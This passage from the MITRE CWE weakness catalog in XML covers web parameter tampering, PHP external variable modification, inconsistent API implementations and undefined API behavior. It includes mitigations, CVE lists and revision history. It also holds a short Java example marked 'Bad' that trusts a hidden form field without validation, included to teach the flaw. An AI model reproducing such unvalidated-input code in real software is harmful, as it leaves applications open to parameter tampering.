                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String accountID = request.getParameter("accountID");<xhtml:br/>User user = getUserFromID(Long.parseLong(accountID));</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Hidden fields should not be trusted as secure parameters.</Intro_Text>
               <Body_Text>An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring:</Body_Text>
               <Example_Code Nature="Bad" Language="HTML">
                  <xhtml:div>&lt;input type="hidden"</xhtml:div>
               </Example_Code>
               <Body_Text>or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up to cross-site scripting attacks.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0108</Reference>
               <Description>Forum product allows spoofed messages of other users via hidden form fields for name and e-mail address.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0108</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0253</Reference>
               <Description>Shopping cart allows price modification via hidden form field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0253</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0254</Reference>
               <Description>Shopping cart allows price modification via hidden form field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0254</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0926</Reference>
               <Description>Shopping cart allows price modification via hidden form field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0926</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0101</Reference>
               <Description>Shopping cart allows price modification via hidden form field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0101</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0102</Reference>
               <Description>Shopping cart allows price modification via hidden form field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0102</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0758</Reference>
               <Description>Allows admin access by modifying value of form field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0758</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1880</Reference>
               <Description>Read messages by modifying message ID parameter.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1880</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1234</Reference>
               <Description>Send email to arbitrary users by modifying email parameter.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1234</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1652</Reference>
               <Description>Authentication bypass by setting a parameter.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1652</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1784</Reference>
               <Description>Product does not check authorization for configuration change admin script, leading to password theft via modified e-mail address field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1784</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2314</Reference>
               <Description>Logic error leads to password disclosure.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2314</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1682</Reference>
               <Description>Modification of message number parameter allows attackers to read other people's messages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1682</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Web Parameter Tampering</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A4</Entry_ID>
               <Entry_Name>Insecure Direct Object Reference</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A1</Entry_ID>
               <Entry_Name>Unvalidated Input</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="146"/>
            <Related_Attack_Pattern CAPEC_ID="226"/>
            <Related_Attack_Pattern CAPEC_ID="31"/>
            <Related_Attack_Pattern CAPEC_ID="39"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden Form&#xA;                  Fields.&#34; Page 75"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 17, &#34;Embedding State in HTML and URLs&#34;, Page 1032"/>
         </References>
         <Notes>
            <Note Type="Relationship">This is a primary weakness for many other weaknesses and functional consequences, including XSS, SQL injection, path disclosure, and file inclusion.</Note>
            <Note Type="Theoretical">This is a technology-specific MAID problem.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Other_Notes, Relationship_Notes, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Web Parameter Tampering</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="473" Name="PHP External Variable Modification" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="471" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="98" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="PHP" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Phase>Implementation</Phase>
               <Description>Carefully identify which variables can be controlled or influenced by an external user, and consider adopting a naming convention to emphasize when externally modifiable variables are being used. An application should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Do not allow your application to run with register_globals enabled. If you implement a register_globals emulator, be extremely careful of variable extraction, dynamic evaluation, and similar issues, since weaknesses in your emulation could allow external variable modification to take place even without register_globals.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0860</Reference>
               <Description>File upload allows arbitrary file read by setting hidden form variables to match internal variable names.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0860</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0854</Reference>
               <Description>Mistakenly trusts $PHP_SELF variable to determine if include script was called by its parent.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0854</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0764</Reference>
               <Description>PHP remote file inclusion by modified assumed-immutable variable.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0764</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1025</Reference>
               <Description>Modify key variable when calling scripts that don't load a library that initializes it.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1025</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0754</Reference>
               <Description>Authentication bypass by modifying array used for authentication.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0754</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>PHP External Variable Modification</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="77"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">This is a language-specific instance of Modification of Assumed-Immutable Data (MAID). This can be resultant from direct request (alternate path) issues. It can be primary to weaknesses such as PHP file inclusion, SQL injection, XSS, authentication bypass, and others.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="474" Name="Use of Function with Inconsistent Implementations" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The code uses a function that has inconsistent implementations across operating systems and versions.</Description>
         <Extended_Description>
            <xhtml:p>The use of inconsistent implementations can cause changes in behavior when the code is ported or built under a different environment than the programmer expects, which can lead to security problems in some cases.</xhtml:p>
            <xhtml:p>The implementation of many functions varies by platform, and at times, even by different versions of the same platform. Implementation differences can include:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Slight differences in the way parameters are interpreted leading to inconsistent results.</xhtml:li>
                  <xhtml:li>Some implementations of the function carry significant security risks.</xhtml:li>
                  <xhtml:li>The function might not be defined on all platforms.</xhtml:li>
                  <xhtml:li>The function might change which return codes it can provide, or change the meaning of its return codes.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="758" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Often"/>
            <Language Name="PHP" Prevalence="Often"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Requirements</Phase>
               <Description>Do not accept inconsistent behavior from the API specifications when the deviant behavior increase the risk level.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Inconsistent Implementations</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Inconsistent Implementations</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="475" Name="Undefined Behavior for Input to API" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The behavior of this function is undefined unless its control parameter is set to a specific value.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Undefined Behavior</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Other">The Linux Standard Base Specification 2.0.1 for libc places constraints on the arguments to some internal functions [21]. If the constraints are not met, the behavior of the functions is not defined. It is unusual for this function to be called directly. It is almost always invoked through a macro defined in a system header file, and the macro ensures that the following constraints are met: The value 1 must be passed to the third parameter (the version number) of the following file system function: __xmknod The value 2 must be passed to the third parameter (the group argument) of the following wide character string functions: __wcstod_internal __wcstof_internal __wcstol_internal __wcstold_internal __wcstoul_internal The value 3 must be passed as the first parameter (the version number) of the following file system functions: __xstat __lxstat __fxstat __xstat64 __lxstat64 __fxstat64</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Undefined Behavior</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="476" Name="NULL Pointer Dereference" Abstraction="Base" Structure="Simple" Status="Stable">
         <Description>A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.</Description>
         <Extended_Description>NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="754" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="754" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
